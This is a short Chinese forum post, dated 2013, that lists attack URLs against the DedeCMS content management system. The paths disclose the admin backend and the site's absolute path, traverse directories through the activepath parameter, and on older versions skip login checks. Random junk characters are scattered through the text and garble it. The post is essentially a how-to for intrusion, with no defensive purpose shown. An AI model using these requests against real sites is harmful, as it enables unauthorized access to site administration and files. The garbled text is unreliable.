1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理 C3 H& _$ v! a: J4 e
& f5 d0 \# Z- _& U( d员帐号,新版本的就直接转向了后台.
6 o# X. `/ A" W+ v; ~. \" W0 ]. C" o7 C6 X$ T: i1 d! c6 G
2.include/dialog/config.php会爆出后台管理路径 |# ~) l Y4 Y6 v; a. O3 l1 Z
0 f3 K; H. L0 }; I3 Q# ?
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
. I Q# s9 x; L% b6 K% \, v) B0 _4 @
4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.$ O# j7 ]2 E* e3 n/ i' k
8 W( M7 w" X6 Y: ^$ x- l: B( s5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
3 C2 I7 `. s# A" z2 k+ O1 f, j7 q( i1 Q$ L- _" p
到根目录去.不过这些版本的访问地址有些不同.+ m! H5 w! s1 V! C$ {: K
地址为require/dialog/select_soft.php?activepath=/././././././././
, G( F2 ]7 C$ c% ~ [+ I& ^2 u7 S4 V2 ~2 w% u; i& P2 A
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦.." ~: ~' h& [, W
存在相同问题的文件还有4 b% w+ Z1 ?4 t- r$ K
include\dialog\select_images.php6 {7 H! F1 b6 l/ x+ R+ S0 s+ Q
include\dialog\select_media.php
1 T( |7 k; i; a1 a& ?( l/ C4 t' Linclude\dialog\select_templets.php1 V# P: @, H$ b0 P5 k
|
发表于 2013-4-16 16:50:43
收藏
支持
反对